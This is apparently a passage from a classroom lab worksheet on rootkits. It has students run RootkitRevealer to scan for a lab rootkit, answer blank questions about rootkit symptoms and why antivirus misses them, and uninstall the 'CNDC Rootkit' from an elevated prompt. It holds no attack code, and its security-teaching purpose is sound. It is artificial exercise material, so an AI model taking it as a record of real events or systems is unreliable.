A. Execute: RootkitRevealer.exe 

B. Under the File menu click Scan.  Wait for scan to complete… 

Evidence detected by scan: 

 

 
 

11. What types of symptoms or ill effects might occur from a rootkit being installed on a system? 

 

 
 

12. Why doesn’t your Antivirus software warn about a rootkit being installed on your system? 

 

 

13. (Victim) from a UAC elevated command prompt uninstall the CNDC Rootkit: 

C:\_cndc_\uninstall.cmd 


